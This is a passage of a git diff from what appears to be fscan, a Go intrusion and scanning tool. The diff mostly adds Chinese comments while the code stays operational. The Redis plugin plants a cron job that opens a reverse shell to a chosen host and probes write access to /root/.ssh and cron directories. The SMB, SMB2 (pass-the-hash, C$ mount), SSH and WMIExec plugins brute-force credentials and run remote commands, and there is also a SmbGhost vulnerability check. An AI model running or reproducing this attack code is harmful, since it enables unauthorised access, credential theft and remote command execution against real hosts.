conn.Write([]byte(fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", scanIp, scanPort))) + + // 写入反弹shell的定时任务 + cronCmd := fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", + scanIp, scanPort) + _, err = conn.Write([]byte(cronCmd)) if err != nil { return flag, text, err } @@ -267,6 +357,8 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) { if err != nil { return flag, text, err } + + // 保存更改 if strings.Contains(text, "OK") { _, err = conn.Write([]byte("save\r\n")) if err != nil { @@ -282,19 +374,24 @@ func writecron(conn net.Conn, host string) (flag bool, text string, err error) { } } } + + // 截断过长的响应文本 text = strings.TrimSpace(text) if len(text) > 50 { text = text[:50] } + return flag, text, err } +// Readfile 读取文件内容并返回第一个非空行 func Readfile(filename string) (string, error) { file, err := os.Open(filename) if err != nil { return "", err } defer file.Close() + scanner := bufio.NewScanner(file) for scanner.Scan() { text := strings.TrimSpace(scanner.Text()) @@ -305,28 +402,35 @@ func Readfile(filename string) (string, error) { return "", err } +// readreply 读取Redis服务器响应 func readreply(conn net.Conn) (string, error) { + // 设置1秒读取超时 conn.SetReadDeadline(time.Now().Add(time.Second)) + bytes, err := io.ReadAll(conn) + // 如果读取到内容则不返回错误 if len(bytes) > 0 { err = nil } return string(bytes), err } +// testwrite 测试Redis写入权限 func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) { - var text string + // 测试SSH目录写入权限 _, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n")) if err != nil { return flag, flagCron, err } - text, err = readreply(conn) + text, err := readreply(conn) if err != nil { return flag, flagCron, err } if strings.Contains(text, "OK") { flag = true } + + // 测试定时任务目录写入权限 _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n")) if err != nil { return flag, flagCron, err @@ -338,10 +442,13 @@ func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) { if strings.Contains(text, "OK") { flagCron = true } + return flag, flagCron, err } +// getconfig 获取Redis配置信息 func getconfig(conn net.Conn) (dbfilename string, dir string, err error) { + // 获取数据库文件名 _, err = conn.Write([]byte("CONFIG GET dbfilename\r\n")) if err != nil { return @@ -350,12 +457,16 @@ func getconfig(conn net.Conn) (dbfilename string, dir string, err error) { if err != nil { return } + + // 解析数据库文件名 text1 := strings.Split(text, "\r\n") if len(text1) > 2 { dbfilename = text1[len(text1)-2] } else { dbfilename = text1[0] } + + // 获取数据库目录 _, err = conn.Write([]byte("CONFIG GET dir\r\n")) if err != nil { return @@ -364,16 +475,21 @@ func getconfig(conn net.Conn) (dbfilename string, dir string, err error) { if err != nil { return } + + // 解析数据库目录 text1 = strings.Split(text, "\r\n") if len(text1) > 2 { dir = text1[len(text1)-2] } else { dir = text1[0] } + return } +// recoverdb 恢复Redis数据库配置 func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) { + // 恢复数据库文件名 _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename %s\r\n", dbfilename))) if err != nil { return @@ -382,6 +498,8 @@ func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) { if err != nil { return } + + // 恢复数据库目录 _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dir))) if err != nil { return @@ -390,5 +508,6 @@ func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) { if err != nil { return } + return } diff --git a/Plugins/SMB.go b/Plugins/SMB.go new file mode 100644 index 00000000..ffd5c6b4 --- /dev/null +++ b/Plugins/SMB.go @@ -0,0 +1,110 @@ +package Plugins + +import ( + "errors" + "fmt" + "github.com/shadow1ng/fscan/Common" + "github.com/stacktitan/smb/smb" + "strings" + "time" +) + +// SmbScan 执行SMB服务的认证扫描 +func SmbScan(info *Common.HostInfo) (tmperr error) { + // 如果未启用暴力破解则直接返回 + if Common.IsBrute { + return nil + } + + startTime := time.Now().Unix() + + // 遍历用户名和密码字典进行认证尝试 + for _, user := range Common.Userdict["smb"] { + for _, pass := range Common.Passwords { + // 替换密码中的用户名占位符 + pass = strings.Replace(pass, "{user}", user, -1) + + // 执行带超时的认证 + success, err := doWithTimeOut(info, user, pass) + + if success && err == nil { + // 认证成功,记录结果 + var result string + if Common.Domain != "" { + result = fmt.Sprintf("[✓] SMB认证成功 %v:%v Domain:%v\\%v Pass:%v", + info.Host, info.Ports, Common.Domain, user, pass) + } else { + result = fmt.Sprintf("[✓] SMB认证成功 %v:%v User:%v Pass:%v", + info.Host, info.Ports, user, pass) + } + Common.LogSuccess(result) + return err + } else { + // 认证失败,记录错误 + errorMsg := fmt.Sprintf("[x] SMB认证失败 %v:%v User:%v Pass:%v Err:%v", + info.Host, info.Ports, user, pass, + strings.ReplaceAll(err.Error(), "\n", "")) + Common.LogError(errorMsg) + tmperr = err + + // 检查是否需要中断扫描 + if Common.CheckErrs(err) { + return err + } + + // 检查是否超时 + timeoutLimit := int64(len(Common.Userdict["smb"])*len(Common.Passwords)) * Common.Timeout + if time.Now().Unix()-startTime > timeoutLimit { + return err + } + } + } + } + return tmperr +} + +// SmblConn 尝试建立SMB连接并进行认证 +func SmblConn(info *Common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) { + flag = false + + // 配置SMB连接选项 + options := smb.Options{ + Host: info.Host, + Port: 445, + User: user, + Password: pass, + Domain: Common.Domain, + Workstation: "", + } + + // 尝试建立SMB会话 + session, err := smb.NewSession(options, false) + if err == nil { + defer session.Close() + if session.IsAuthenticated { + flag = true + } + } + + // 发送完成信号 + signal <- struct{}{} + return flag, err +} + +// doWithTimeOut 执行带超时的SMB连接认证 +func doWithTimeOut(info *Common.HostInfo, user string, pass string) (flag bool, err error) { + signal := make(chan struct{}) + + // 在goroutine中执行SMB连接 + go func() { + flag, err = SmblConn(info, user, pass, signal) + }() + + // 等待连接结果或超时 + select { + case <-signal: + return flag, err + case <-time.After(time.Duration(Common.Timeout) * time.Second): + return false, errors.New("[!] SMB连接超时") + } +} diff --git a/Plugins/SMB2.go b/Plugins/SMB2.go new file mode 100644 index 00000000..1e157c34 --- /dev/null +++ b/Plugins/SMB2.go @@ -0,0 +1,224 @@ +package Plugins + +import ( + "fmt" + "github.com/shadow1ng/fscan/Common" + "net" + "os" + "strings" + "time" + + "github.com/hirochachacha/go-smb2" +) + +// SmbScan2 执行SMB2服务的认证扫描,支持密码和哈希两种认证方式 +func SmbScan2(info *Common.HostInfo) (tmperr error) { + + // 如果未启用暴力破解则直接返回 + if Common.IsBrute { + return nil + } + + hasprint := false + startTime := time.Now().Unix() + + // 使用哈希认证模式 + if len(Common.HashBytes) > 0 { + return smbHashScan(info, hasprint, startTime) + } + + // 使用密码认证模式 + return smbPasswordScan(info, hasprint, startTime) +} + +// smbHashScan 使用哈希进行认证扫描 +func smbHashScan(info *Common.HostInfo, hasprint bool, startTime int64) error { + for _, user := range Common.Userdict["smb"] { + for _, hash := range Common.HashBytes { + success, err, printed := Smb2Con(info, user, "", hash, hasprint) + if printed { + hasprint = true + } + + if success { + logSuccessfulAuth(info, user, "", hash) + return err + } + + logFailedAuth(info, user, "", hash, err) + + if shouldStopScan(err, startTime, len(Common.Userdict["smb"])*len(Common.HashBytes)) { + return err + } + + if len(Common.Hash) > 0 { + break + } + } + } + return nil +} + +// smbPasswordScan 使用密码进行认证扫描 +func smbPasswordScan(info *Common.HostInfo, hasprint bool, startTime int64) error { + for _, user := range Common.Userdict["smb"] { + for _, pass := range Common.Passwords { + pass = strings.ReplaceAll(pass, "{user}", user) + success, err, printed := Smb2Con(info, user, pass, []byte{}, hasprint) + if printed { + hasprint = true + } + + if success { + logSuccessfulAuth(info, user, pass, []byte{}) + return err + } + + logFailedAuth(info, user, pass, []byte{}, err) + + if shouldStopScan(err, startTime, len(Common.Userdict["smb"])*len(Common.Passwords)) { + return err + } + + if len(Common.Hash) > 0 { + break + } + } + } + fmt.Println("[+] Smb2扫描模块结束...") + return nil +} + +// logSuccessfulAuth 记录成功的认证 +func logSuccessfulAuth(info *Common.HostInfo, user, pass string, hash []byte) { + var result string + if Common.Domain != "" { + result = fmt.Sprintf("[✓] SMB2认证成功 %v:%v Domain:%v\\%v ", + info.Host, info.Ports, Common.Domain, user) + } else { + result = fmt.Sprintf("[✓] SMB2认证成功 %v:%v User:%v ", + info.Host, info.Ports, user) + } + + if len(hash) > 0 { + result += fmt.Sprintf("Hash:%v", Common.Hash) + } else { + result += fmt.Sprintf("Pass:%v", pass) + } + Common.LogSuccess(result) +} + +// logFailedAuth 记录失败的认证 +func logFailedAuth(info *Common.HostInfo, user, pass string, hash []byte, err error) { + var errlog string + if len(hash) > 0 { + errlog = fmt.Sprintf("[x] SMB2认证失败 %v:%v User:%v Hash:%v Err:%v", + info.Host, info.Ports, user, Common.Hash, err) + } else { + errlog = fmt.Sprintf("[x] SMB2认证失败 %v:%v User:%v Pass:%v Err:%v", + info.Host, info.Ports, user, pass, err) + } + errlog = strings.ReplaceAll(errlog, "\n", " ") + Common.LogError(errlog) +} + +// shouldStopScan 检查是否应该停止扫描 +func shouldStopScan(err error, startTime int64, totalAttempts int) bool { + if Common.CheckErrs(err) { + return true + } + + if time.Now().Unix()-startTime > (int64(totalAttempts) * Common.Timeout) { + return true + } + + return false +} + +// Smb2Con 尝试SMB2连接并进行认证,检查共享访问权限 +func Smb2Con(info *Common.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, flag2 bool) { + // 建立TCP连接 + conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:445", info.Host), + time.Duration(Common.Timeout)*time.Second) + if err != nil { + return false, fmt.Errorf("连接失败: %v", err), false + } + defer conn.Close() + + // 配置NTLM认证 + initiator := smb2.NTLMInitiator{ + User: user, + Domain: Common.Domain, + } + + // 设置认证方式(哈希或密码) + if len(hash) > 0 { + initiator.Hash = hash + } else { + initiator.Password = pass + } + + // 创建SMB2会话 + d := &smb2.Dialer{ + Initiator: &initiator, + } + session, err := d.Dial(conn) + if err != nil { + return false, fmt.Errorf("SMB2会话建立失败: %v", err), false + } + defer session.Logoff() + + // 获取共享列表 + shares, err := session.ListSharenames() + if err != nil { + return false, fmt.Errorf("获取共享列表失败: %v", err), false + } + + // 打印共享信息(如果未打印过) + if !hasprint { + logShareInfo(info, user, pass, hash, shares) + flag2 = true + } + + // 尝试访问C$共享以验证管理员权限 + fs, err := session.Mount("C$") + if err != nil { + return false, fmt.Errorf("挂载C$失败: %v", err), flag2 + } + defer fs.Umount() + + // 尝试读取系统文件以验证权限 + path := `Windows\win.ini` + f, err := fs.OpenFile(path, os.O_RDONLY, 0666) + if err != nil { + return false, fmt.Errorf("访问系统文件失败: %v", err), flag2 + } + defer f.Close() + + return true, nil, flag2 +} + +// logShareInfo 记录SMB共享信息 +func logShareInfo(info *Common.HostInfo, user string, pass string, hash []byte, shares []string) { + var result string + + // 构建基础信息 + if Common.Domain != "" { + result = fmt.Sprintf("[*] SMB2共享信息 %v:%v Domain:%v\\%v ", + info.Host, info.Ports, Common.Domain, user) + } else { + result = fmt.Sprintf("[*] SMB2共享信息 %v:%v User:%v ", + info.Host, info.Ports, user) + } + + // 添加认证信息 + if len(hash) > 0 { + result += fmt.Sprintf("Hash:%v ", Common.Hash) + } else { + result += fmt.Sprintf("Pass:%v ", pass) + } + + // 添加共享列表 + result += fmt.Sprintf("可用共享: %v", shares) + Common.LogSuccess(result) +} diff --git a/Plugins/SSH.go b/Plugins/SSH.go new file mode 100644 index 00000000..b56267e1 --- /dev/null +++ b/Plugins/SSH.go @@ -0,0 +1,225 @@ +package Plugins + +import ( + "context" + "fmt" + "github.com/shadow1ng/fscan/Common" + "golang.org/x/crypto/ssh" + "io/ioutil" + "net" + "strings" + "time" +) + +func SshScan(info *Common.HostInfo) (tmperr error) { + if Common.IsBrute { + return + } + + // 增加全局扫描超时 + scanCtx, scanCancel := context.WithTimeout(context.Background(), time.Duration(Common.Timeout*2)*time.Second) + defer scanCancel() + + for _, user := range Common.Userdict["ssh"] { + for _, pass := range Common.Passwords { + // 使用全局 context 创建子 context + ctx, cancel := context.WithTimeout(scanCtx, time.Duration(Common.Timeout)*time.Second) + + // 替换密码中的用户名占位符 + pass = strings.Replace(pass, "{user}", user, -1) + currentUser := user + currentPass := pass + + // 创建结果通道 + done := make(chan struct { + success bool + err error + }, 1) + + // 在 goroutine 中执行单次连接尝试 + go func() { + success, err := SshConn(ctx, info, currentUser, currentPass) + select { + case done <- struct { + success bool + err error + }{success, err}: + case <-ctx.Done(): + } + }() + + // 等待连接结果或超时 + var err error + select { + case result := <-done: + err = result.err + if result.success { + cancel() + return err + } + case <-ctx.Done(): + err = fmt.Errorf("[-] 连接超时: %v", ctx.Err()) + } + + cancel() + + // 记录失败信息 + if err != nil { + errlog := fmt.Sprintf("[-] SSH认证失败 %v:%v User:%v Pass:%v Err:%v", + info.Host, info.Ports, currentUser, currentPass, err) + Common.LogError(errlog) + tmperr = err + } + + // 检查是否需要中断扫描 + if Common.CheckErrs(err) { + return err + } + + // 检查全局超时 + if scanCtx.Err() != nil { + return fmt.Errorf("扫描总时间超时: %v", scanCtx.Err()) + } + + // 如果指定了SSH密钥,则不进行密码尝试 + if Common.SshKey != "" { + return err + } + } + } + + return tmperr +} + +func SshConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (flag bool, err error) { + // 准备认证方法 + var auth []ssh.AuthMethod + if Common.SshKey != "" { + pemBytes, err := ioutil.ReadFile(Common.SshKey) + if err != nil { + return false, fmt.Errorf("[-] 读取密钥失败: %v", err) + } + + signer, err := ssh.ParsePrivateKey(pemBytes) + if err != nil { + return false, fmt.Errorf("[-] 解析密钥失败: %v", err) + } + auth = []ssh.AuthMethod{ssh.PublicKeys(signer)} + } else { + auth = []ssh.AuthMethod{ssh.Password(pass)} + } + + config := &ssh.ClientConfig{ + User: user, + Auth: auth, + HostKeyCallback: func(hostname string, remote net.Addr, key ssh.PublicKey) error { + return nil + }, + Timeout: time.Duration(Common.Timeout) * time.Second, + } + + // 使用带超时的 Dial + conn, err := (&net.Dialer{Timeout: time.Duration(Common.Timeout) * time.Second}).DialContext(ctx, "tcp", fmt.Sprintf("%v:%v", info.Host, info.Ports)) + if err != nil { + return false, err + } + defer conn.Close() + + // 设置连接超时 + if deadline, ok := ctx.Deadline(); ok { + conn.SetDeadline(deadline) + } + + // 创建一个新的 context 用于 SSH 握手 + sshCtx, sshCancel := context.WithTimeout(ctx, time.Duration(Common.Timeout)*time.Second) + defer sshCancel() + + // 使用 channel 来控制 SSH 握手的超时 + sshDone := make(chan struct { + client *ssh.Client + err error + }, 1) + + go func() { + sshConn, chans, reqs, err := ssh.NewClientConn(conn, fmt.Sprintf("%v:%v", info.Host, info.Ports), config) + if err != nil { + sshDone <- struct { + client *ssh.Client + err error + }{nil, err} + return + } + client := ssh.NewClient(sshConn, chans, reqs) + sshDone <- struct { + client *ssh.Client + err error + }{client, nil} + }() + + // 等待 SSH 握手完成或超时 + var client *ssh.Client + select { + case result := <-sshDone: + if result.err != nil { + return false, result.err + } + client = result.client + case <-sshCtx.Done(): + return false, fmt.Errorf("SSH握手超时: %v", sshCtx.Err()) + } + defer client.Close() + + // 创建会话 + session, err := client.NewSession() + if err != nil { + return false, err + } + defer session.Close() + + flag = true + + if Common.Command != "" { + // 执行命令的通道 + cmdDone := make(chan struct { + output []byte + err error + }, 1) + + go func() { + output, err := session.CombinedOutput(Common.Command) + select { + case cmdDone <- struct { + output []byte + err error + }{output, err}: + case <-ctx.Done(): + } + }() + + select { + case <-ctx.Done(): + return true, fmt.Errorf("命令执行超时: %v", ctx.Err()) + case result := <-cmdDone: + if result.err != nil { + return true, result.err + } + if Common.SshKey != "" { + Common.LogSuccess(fmt.Sprintf("[+] SSH密钥认证成功 %v:%v\n命令输出:\n%v", + info.Host, info.Ports, string(result.output))) + } else { + Common.LogSuccess(fmt.Sprintf("[+] SSH认证成功 %v:%v User:%v Pass:%v\n命令输出:\n%v", + info.Host, info.Ports, user, pass, string(result.output))) + } + } + } else { + if Common.SshKey != "" { + Common.LogSuccess(fmt.Sprintf("[+] SSH密钥认证成功 %v:%v", + info.Host, info.Ports)) + } else { + Common.LogSuccess(fmt.Sprintf("[+] SSH认证成功 %v:%v User:%v Pass:%v", + info.Host, info.Ports, user, pass)) + } + } + + return flag, nil +} diff --git a/Plugins/CVE-2020-0796.go b/Plugins/SmbGhost.go similarity index 62% rename from Plugins/CVE-2020-0796.go rename to Plugins/SmbGhost.go index 385c86d0..1615dd04 100644 --- a/Plugins/CVE-2020-0796.go +++ b/Plugins/SmbGhost.go @@ -5,7 +5,7 @@ import ( "fmt" "time" - "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/Common" ) const ( @@ -94,35 +94,68 @@ const ( "\x00\x00\x00\x00" ) -func SmbGhost(info *common.HostInfo) error { - if common.IsBrute { +// SmbGhost 检测SMB Ghost漏洞(CVE-2020-0796)的入口函数 +func SmbGhost(info *Common.HostInfo) error { + // 如果开启了暴力破解模式,跳过该检测 + if Common.IsBrute { return nil } + + // 执行实际的SMB Ghost漏洞扫描 err := SmbGhostScan(info) return err } -func SmbGhostScan(info *common.HostInfo) error { - ip, port, timeout := info.Host, 445, time.Duration(common.Timeout)*time.Second - addr := fmt.Sprintf("%s:%v", info.Host, port) - conn, err := common.WrapperTcpWithTimeout("tcp", addr, timeout) +// SmbGhostScan 执行具体的SMB Ghost漏洞检测逻辑 +func SmbGhostScan(info *Common.HostInfo) error { + // 设置扫描参数 + ip := info.Host + port := 445 // SMB服务默认端口 + timeout := time.Duration(Common.Timeout) * time.Second + + // 构造目标地址 + addr := fmt.Sprintf("%s:%v", ip, port) + + // 建立TCP连接 + conn, err := Common.WrapperTcpWithTimeout("tcp", addr, timeout) if err != nil { return err } - defer conn.Close() - _, err = conn.Write([]byte(pkt)) - if err != nil { + defer conn.Close() // 确保连接最终被关闭 + + // 发送SMB协议探测数据包 + if _, err = conn.Write([]byte(pkt)); err != nil { return err } + + // 准备接收响应 buff := make([]byte, 1024) - err = conn.SetReadDeadline(time.Now().Add(timeout)) + + // 设置读取超时 + if err = conn.SetReadDeadline(time.Now().Add(timeout)); err != nil { + return err + } + + // 读取响应数据 n, err := conn.Read(buff) if err != nil || n == 0 { return err } - if bytes.Contains(buff[:n], []byte("Public")) == true && len(buff[:n]) >= 76 && bytes.Equal(buff[72:74], []byte{0x11, 0x03}) && bytes.Equal(buff[74:76], []byte{0x02, 0x00}) { + + // 分析响应数据,检测是否存在漏洞 + // 检查条件: + // 1. 响应包含"Public"字符串 + // 2. 响应长度大于等于76字节 + // 3. 特征字节匹配 (0x11,0x03) 和 (0x02,0x00) + if bytes.Contains(buff[:n], []byte("Public")) && + len(buff[:n]) >= 76 && + bytes.Equal(buff[72:74], []byte{0x11, 0x03}) && + bytes.Equal(buff[74:76], []byte{0x02, 0x00}) { + + // 发现漏洞,记录结果 result := fmt.Sprintf("[+] %v CVE-2020-0796 SmbGhost Vulnerable", ip) - common.LogSuccess(result) + Common.LogSuccess(result) } + return err } diff --git a/Plugins/wmiexec.go b/Plugins/WMIExec.go similarity index 51% rename from Plugins/wmiexec.go rename to Plugins/WMIExec.go index 81421b09..ec387461 100644 --- a/Plugins/wmiexec.go +++ b/Plugins/WMIExec.go @@ -3,7 +3,7 @@ package Plugins import ( "errors" "fmt" - "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/Common" "os" "strings" "time" @@ -11,13 +11,18 @@ import ( "github.com/C-Sto/goWMIExec/pkg/wmiexec" ) -var ClientHost string -var flag bool +// 全局变量 +var ( + ClientHost string // 客户端主机名 + flag bool // 初始化标志 +) +// init 初始化函数 func init() { if flag { return } + // 获取主机名 clientHost, err := os.Hostname() if err != nil { fmt.Println(err) @@ -26,43 +31,62 @@ func init() { flag = true } -func WmiExec(info *common.HostInfo) (tmperr error) { - if common.IsBrute { +// WmiExec 执行WMI远程命令 +func WmiExec(info *Common.HostInfo) (tmperr error) { + // 如果是暴力破解模式则跳过 + if Common.IsBrute { return nil } + starttime := time.Now().Unix() - for _, user := range common.Userdict["smb"] { + + // 遍历用户字典 + for _, user := range Common.Userdict["smb"] { PASS: - for _, pass := range common.Passwords { + // 遍历密码字典 + for _, pass := range Common.Passwords { + // 替换密码模板中的用户名 pass = strings.Replace(pass, "{user}", user, -1) - flag, err := Wmiexec(info, user, pass, common.Hash) + + // 尝试WMI连接 + flag, err := Wmiexec(info, user, pass, Common.Hash) + + // 记录错误日志 errlog := fmt.Sprintf("[-] WmiExec %v:%v %v %v %v", info.Host, 445, user, pass, err) errlog = strings.Replace(errlog, "\n", "", -1) - common.LogError(errlog) - if flag == true { + Common.LogError(errlog) + + if flag { + // 成功连接,记录结果 var result string - if common.Domain != "" { - result = fmt.Sprintf("[+] WmiExec %v:%v:%v\\%v ", info.Host, info.Ports, common.Domain, user) + if Common.Domain != "" { + result = fmt.Sprintf("[+] WmiExec %v:%v:%v\\%v ", info.Host, info.Ports, Common.Domain, user) } else { result = fmt.Sprintf("[+] WmiExec %v:%v:%v ", info.Host, info.Ports, user) } - if common.Hash != "" { - result += "hash: " + common.Hash + + // 添加认证信息到结果 + if Common.Hash != "" { + result += "hash: " + Common.Hash } else { result += pass } - common.LogSuccess(result) + Common.LogSuccess(result) return err } else { tmperr = err - if common.CheckErrs(err) { + // 检查错误是否需要终止 + if Common.CheckErrs(err) { return err } - if time.Now().Unix()-starttime > (int64(len(common.Userdict["smb"])*len(common.Passwords)) * common.Timeout) { + // 检查是否超时 + if time.Now().Unix()-starttime > (int64(len(Common.Userdict["smb"])*len(Common.Passwords)) * Common.Timeout) { return err } } - if len(common.Hash) == 32 { + + // 如果使用NTLM Hash,则跳过密码循环 + if len(Common.Hash) == 32 { break PASS } } @@ -70,13 +94,16 @@ func WmiExec(info *common.HostInfo) (tmperr error) { return tmperr } -func Wmiexec(info *common.HostInfo, user string, pass string, hash string) (flag bool, err error) { +// Wmiexec 包装WMI执行函数 +func Wmiexec(info *Common.HostInfo, user string, pass string, hash string) (flag bool, err error) { target := fmt.Sprintf("%s:%v", info.Host, info.Ports) - wmiexec.Timeout = int(common.Timeout) - return WMIExec(target, user, pass, hash, common.Domain, common.Command, ClientHost, "", nil) + wmiexec.Timeout = int(Common.Timeout) + return WMIExec(target, user, pass, hash, Common.Domain, Common.Command, ClientHost, "", nil) } +// WMIExec 执行WMI远程命令 func WMIExec(target, username, password, hash, domain, command, clientHostname, binding string, cfgIn *wmiexec.WmiExecConfig) (flag bool, err error) { + // 初始化WMI配置 if cfgIn == nil { cfg, err1 := wmiexec.NewExecConfig(username, password, hash, domain, target, clientHostname, true, nil, nil) if err1 != nil { @@ -85,29 +112,41 @@ func WMIExec(target, username, password, hash, domain, command, clientHostname, } cfgIn = &cfg } + + // 创建WMI执行器 execer := wmiexec.NewExecer(cfgIn) + + // 设置目标绑定 err = execer.SetTargetBinding(binding) if err != nil { return } + // 进行认证 err = execer.Auth() if err != nil { return } flag = true + // 如果有命令则执行 if command != "" { + // 使用cmd.exe执行命令 command = "C:\\Windows\\system32\\cmd.exe /c " + command + + // 检查RPC端口 if execer.TargetRPCPort == 0 { - err = errors.New("RPC Port is 0, cannot connect") + err = errors.New("RPC端口为0,无法连接") return } + // 建立RPC连接 err = execer.RPCConnect() if err != nil { return } + + // 执行命令 err = execer.Exec(command) if err != nil { return diff --git a/Plugins/webtitle.go b/Plugins/WebTitle.go similarity index 58% rename from Plugins/webtitle.go rename to Plugins/WebTitle.go index 49f2c48b..9f8bc0bc 100644 --- a/Plugins/webtitle.go +++ b/Plugins/WebTitle.go @@ -12,34 +12,45 @@ import ( "time" "unicode/utf8" + "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/WebScan" "github.com/shadow1ng/fscan/WebScan/lib" - "github.com/shadow1ng/fscan/common" "golang.org/x/text/encoding/simplifiedchinese" ) -func WebTitle(info *common.HostInfo) error { - if common.Scantype == "webpoc" { +// WebTitle 获取Web标题并执行扫描 +func WebTitle(info *Common.HostInfo) error { + // 如果是webpoc扫描模式,直接执行WebScan + if Common.Scantype == "webpoc" { WebScan.WebScan(info) return nil } + + // 获取网站标题信息 err, CheckData := GOWebTitle(info) info.Infostr = WebScan.InfoCheck(info.Url, &CheckData) - //不扫描打印机,避免打纸 + + // 检查是否为打印机,避免意外打印 for _, v := range info.Infostr { if v == "打印机" { return nil } } - if !common.NoPoc && err == nil { + + // 根据配置决定是否执行漏洞扫描 + if !Common.NoPoc && err == nil { WebScan.WebScan(info) } else { errlog := fmt.Sprintf("[-] webtitle %v %v", info.Url, err) - common.LogError(errlog) + Common.LogError(errlog) } + return err } -func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckDatas) { + +// GOWebTitle 获取网站标题并处理URL +func GOWebTitle(info *Common.HostInfo) (err error, CheckData []WebScan.CheckDatas) { + // 如果URL未指定,根据端口生成URL if info.Url == "" { switch info.Ports { case "80": @@ -48,23 +59,25 @@ func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckData info.Url = fmt.Sprintf("https://%s", info.Host) default: host := fmt.Sprintf("%s:%s", info.Host, info.Ports) - protocol := GetProtocol(host, common.Timeout) + protocol := GetProtocol(host, Common.Timeout) info.Url = fmt.Sprintf("%s://%s:%s", protocol, info.Host, info.Ports) } } else { + // 处理未指定协议的URL if !strings.Contains(info.Url, "://") { host := strings.Split(info.Url, "/")[0] - protocol := GetProtocol(host, common.Timeout) + protocol := GetProtocol(host, Common.Timeout) info.Url = fmt.Sprintf("%s://%s", protocol, info.Url) } } + // 第一次获取URL err, result, CheckData := geturl(info, 1, CheckData) if err != nil && !strings.Contains(err.Error(), "EOF") { return } - //有跳转 + // 处理URL跳转 if strings.Contains(result, "://") { info.Url = result err, result, CheckData = geturl(info, 3, CheckData) @@ -73,10 +86,12 @@ func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckData } } + // 处理HTTP到HTTPS的升级 if result == "https" && !strings.HasPrefix(info.Url, "https://") { info.Url = strings.Replace(info.Url, "http://", "https://", 1) err, result, CheckData = geturl(info, 1, CheckData) - //有跳转 + + // 处理升级后的跳转 if strings.Contains(result, "://") { info.Url = result err, _, CheckData = geturl(info, 3, CheckData) @@ -85,22 +100,28 @@ func GOWebTitle(info *common.HostInfo) (err error, CheckData []WebScan.CheckData } } } - //是否访问图标 - //err, _, CheckData = geturl(info, 2, CheckData) + if err != nil { return } return } -func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) { - //flag 1 first try - //flag 2 /favicon.ico - //flag 3 302 - //flag 4 400 -> https - +// geturl 获取URL响应内容和信息 +// 参数: +// - info: 主机配置信息 +// - flag: 请求类型标志(1:首次尝试 2:获取favicon 3:处理302跳转 4:处理400转https) +// - CheckData: 检查数据数组 +// +// 返回: +// - error: 错误信息 +// - string: 重定向URL或协议 +// - []WebScan.CheckDatas: 更新后的检查数据 +func geturl(info *Common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (error, string, []WebScan.CheckDatas) { + // 处理目标URL Url := info.Url if flag == 2 { + // 获取favicon.ico的URL URL, err := url.Parse(Url) if err == nil { Url = fmt.Sprintf("%s://%s/favicon.ico", URL.Scheme, URL.Host) @@ -108,61 +129,77 @@ func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er Url += "/favicon.ico" } } + + // 创建HTTP请求 req, err := http.NewRequest("GET", Url, nil) if err != nil { return err, "", CheckData } - req.Header.Set("User-agent", common.UserAgent) - req.Header.Set("Accept", common.Accept) + + // 设置请求头 + req.Header.Set("User-agent", Common.UserAgent) + req.Header.Set("Accept", Common.Accept) req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9") - if common.Cookie != "" { - req.Header.Set("Cookie", common.Cookie) + if Common.Cookie != "" { + req.Header.Set("Cookie", Common.Cookie) } - //if common.Pocinfo.Cookie != "" { - // req.Header.Set("Cookie", "rememberMe=1;"+common.Pocinfo.Cookie) - //} else { - // req.Header.Set("Cookie", "rememberMe=1") - //} req.Header.Set("Connection", "close") + + // 选择HTTP客户端 var client *http.Client if flag == 1 { - client = lib.ClientNoRedirect + client = lib.ClientNoRedirect // 不跟随重定向 } else { - client = lib.Client + client = lib.Client // 跟随重定向 } + // 发送请求 resp, err := client.Do(req) if err != nil { return err, "https", CheckData } - defer resp.Body.Close() - var title string + + // 读取响应内容 body, err := getRespBody(resp) if err != nil { return err, "https", CheckData } + + // 保存检查数据 CheckData = append(CheckData, WebScan.CheckDatas{body, fmt.Sprintf("%s", resp.Header)}) + + // 处理非favicon请求 var reurl string if flag != 2 { + // 处理编码 if !utf8.Valid(body) { body, _ = simplifiedchinese.GBK.NewDecoder().Bytes(body) } - title = gettitle(body) + + // 获取页面信息 + title := gettitle(body) length := resp.Header.Get("Content-Length") if length == "" { length = fmt.Sprintf("%v", len(body)) } + + // 处理重定向 redirURL, err1 := resp.Location() if err1 == nil { reurl = redirURL.String() } - result := fmt.Sprintf("[*] WebTitle %-25v code:%-3v len:%-6v title:%v", resp.Request.URL, resp.StatusCode, length, title) + + // 输出结果 + result := fmt.Sprintf("[*] 网站标题 %-25v 状态码:%-3v 长度:%-6v 标题:%v", + resp.Request.URL, resp.StatusCode, length, title) if reurl != "" { - result += fmt.Sprintf(" 跳转url: %s", reurl) + result += fmt.Sprintf(" 重定向地址: %s", reurl) } - common.LogSuccess(result) + Common.LogSuccess(result) } + + // 返回结果 if reurl != "" { return nil, reurl, CheckData } @@ -172,14 +209,19 @@ func geturl(info *common.HostInfo, flag int, CheckData []WebScan.CheckDatas) (er return nil, "", CheckData } +// getRespBody 